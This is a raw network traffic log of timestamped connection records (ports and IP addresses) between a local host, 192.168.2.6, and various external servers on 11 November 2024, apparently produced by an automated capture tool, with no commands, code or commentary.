Nov 11, 2024 12:40:24.069931030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:24.069998980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:24.070008993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:24.079951048 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:24.084870100 CET	443	49818	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.084928036 CET	443	49818	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.085042953 CET	49818	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.087155104 CET	49818	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.087176085 CET	443	49818	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.087229013 CET	49818	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.087234974 CET	443	49818	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.087601900 CET	443	49817	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.087650061 CET	443	49817	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.087728024 CET	49817	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.090759993 CET	49817	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.090766907 CET	443	49817	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.090775013 CET	49817	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.090779066 CET	443	49817	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.095983028 CET	443	49807	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.096122980 CET	443	49807	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.096195936 CET	49807	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.099323034 CET	49807	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.099323034 CET	49807	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.099339008 CET	443	49807	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.099348068 CET	443	49807	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.100394964 CET	49831	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.100409031 CET	443	49831	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.100465059 CET	49831	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.102854013 CET	49831	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.102865934 CET	443	49831	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.103364944 CET	49832	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.103399038 CET	443	49832	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.103529930 CET	49832	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.103728056 CET	49832	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.103739977 CET	443	49832	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.106125116 CET	49833	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.106138945 CET	443	49833	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.106216908 CET	49833	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.114412069 CET	49833	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.114427090 CET	443	49833	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.127332926 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.167330027 CET	443	49815	18.244.18.32	192.168.2.6
Nov 11, 2024 12:40:24.167345047 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.167412043 CET	49815	443	192.168.2.6	18.244.18.32
Nov 11, 2024 12:40:24.167603016 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.167612076 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.168006897 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.168019056 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.168075085 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.168081045 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.170975924 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.170981884 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.173724890 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.173806906 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.174127102 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.174134016 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.289721966 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.294203043 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.294234991 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.294243097 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.294270039 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.294281960 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.294297934 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.294306040 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:24.294327021 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.294338942 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:24.294338942 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:24.294363022 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:24.295248985 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.295257092 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.295346022 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:24.295356035 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.298909903 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.298963070 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:24.308247089 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:24.308263063 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.308279037 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:24.308290005 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:24.345763922 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.345807076 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.345876932 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.345887899 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.347764015 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.347922087 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.347929955 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.351767063 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.351824045 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.351835012 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.357544899 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.357753992 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.357762098 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.364298105 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.364348888 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.364355087 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.376137018 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.376177073 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.376224995 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.376235962 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.376276970 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762042046 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762198925 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762253046 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762265921 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762345076 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762386084 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762408018 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762415886 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762470007 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762511969 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762516975 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762531042 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762569904 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762576103 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762629032 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762638092 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762717009 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762761116 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762800932 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762808084 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762849092 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762888908 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762896061 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762932062 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762933969 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762943029 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.762993097 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.762999058 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763063908 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763102055 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.763103962 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763113976 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763150930 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.763156891 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763221025 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763257980 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763268948 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.763276100 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763326883 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763369083 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.763381004 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.763417959 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.765661001 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771545887 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771589041 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771619081 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.771626949 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771663904 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771663904 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.771677017 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771722078 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.771728992 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771769047 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771800041 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771815062 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.771822929 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771864891 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.771871090 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771919966 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771955967 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.771962881 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.771998882 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772033930 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772034883 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.772043943 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772079945 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.772085905 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772133112 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772164106 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772181988 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.772191048 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772243977 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772259951 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.772265911 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772368908 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.772413015 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.787378073 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:24.787386894 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:24.861303091 CET	443	49833	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.861803055 CET	443	49832	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.862129927 CET	443	49831	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.862476110 CET	443	49823	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.862936020 CET	443	49826	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.894293070 CET	49826	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.894310951 CET	443	49826	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.894766092 CET	49826	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.894772053 CET	443	49826	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.895011902 CET	49823	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.895026922 CET	443	49823	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.895473003 CET	49823	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.895478010 CET	443	49823	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.895711899 CET	49833	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.895740986 CET	443	49833	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.896167040 CET	49833	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.896173000 CET	443	49833	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.899050951 CET	49832	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.899075031 CET	443	49832	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.899494886 CET	49832	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.899501085 CET	443	49832	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.900965929 CET	49831	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.900980949 CET	443	49831	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.901463032 CET	49831	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.901468039 CET	443	49831	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.949966908 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:24.949996948 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:24.950073957 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:24.950673103 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:24.950687885 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:24.951057911 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:24.951082945 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:24.951149940 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:24.951334000 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:24.951347113 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:24.983728886 CET	443	49826	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.983928919 CET	443	49826	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.984004021 CET	49826	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.984750986 CET	443	49833	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.984863997 CET	443	49823	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.984927893 CET	443	49823	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.984942913 CET	443	49833	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.984976053 CET	49823	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.984996080 CET	49833	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.988466024 CET	443	49832	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.988518000 CET	443	49832	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.988624096 CET	49832	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.989638090 CET	443	49831	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.990349054 CET	443	49831	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.990412951 CET	49831	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.073642969 CET	49826	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.073642969 CET	49826	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.073656082 CET	443	49826	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.073664904 CET	443	49826	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.073971987 CET	49832	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.073993921 CET	443	49832	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.074019909 CET	49832	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.074028015 CET	443	49832	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.074033976 CET	49831	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.074049950 CET	443	49831	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.074062109 CET	49831	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.074068069 CET	443	49831	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.074683905 CET	49833	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.074696064 CET	443	49833	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.074724913 CET	49833	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.074731112 CET	443	49833	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.074933052 CET	49823	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.074947119 CET	443	49823	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.074959993 CET	49823	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.074965000 CET	443	49823	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.077244043 CET	49841	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.077267885 CET	443	49841	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.077517986 CET	49841	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.079039097 CET	49841	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.079052925 CET	443	49841	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.199239969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:25.199294090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:25.230308056 CET	49842	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.230335951 CET	443	49842	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.230401039 CET	49842	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.233947039 CET	49842	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.233961105 CET	443	49842	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.234390020 CET	49843	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.234435081 CET	443	49843	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.234489918 CET	49843	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.234724045 CET	49843	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.234736919 CET	443	49843	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.244504929 CET	49844	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.244530916 CET	443	49844	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.244636059 CET	49844	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.244817972 CET	49844	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.244832039 CET	443	49844	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.244884968 CET	49845	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.244913101 CET	443	49845	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.245028019 CET	49845	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.245155096 CET	49845	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.245168924 CET	443	49845	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.246910095 CET	49846	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.246918917 CET	443	49846	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.246974945 CET	49846	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.247203112 CET	49846	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.247212887 CET	443	49846	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.378346920 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:25.379494905 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:25.379525900 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:25.380110025 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.380526066 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:25.380594969 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:25.387096882 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.387114048 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.388334036 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.388396978 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.392704010 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:25.392777920 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:25.393117905 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.393208981 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.393239975 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:25.393254995 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:25.393388987 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.393395901 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.419856071 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:25.419874907 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:25.420001030 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:25.420671940 CET	49847	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:25.420684099 CET	443	49847	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:25.422020912 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:25.426882982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:25.438055038 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:25.438294888 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.489408016 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:25.489478111 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:25.489521980 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.489576101 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:25.489588976 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.489631891 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.489633083 CET	49839	443	192.168.2.6	162.159.61.3
Nov 11, 2024 12:40:25.489645958 CET	443	49839	162.159.61.3	192.168.2.6
Nov 11, 2024 12:40:25.489938021 CET	49840	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.489945889 CET	443	49840	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.503953934 CET	443	49841	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.504513979 CET	49841	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.504530907 CET	443	49841	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.505685091 CET	443	49841	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.505742073 CET	49841	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.506772995 CET	49841	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.506838083 CET	443	49841	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.507011890 CET	49841	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.507020950 CET	443	49841	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.598047972 CET	49706	443	192.168.2.6	173.222.162.64
Nov 11, 2024 12:40:25.601250887 CET	443	49841	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.601331949 CET	49841	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.601835966 CET	49841	443	192.168.2.6	172.64.41.3
Nov 11, 2024 12:40:25.601845980 CET	443	49841	172.64.41.3	192.168.2.6
Nov 11, 2024 12:40:25.748542070 CET	443	49842	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.749793053 CET	443	49843	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.760677099 CET	443	49844	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.761630058 CET	443	49846	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.761735916 CET	443	49845	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.779751062 CET	49845	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.779772043 CET	443	49845	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.780446053 CET	49845	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:25.780451059 CET	443	49845	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:25.780777931 CET	49846	443	192.168.2.6	13.107.246.45
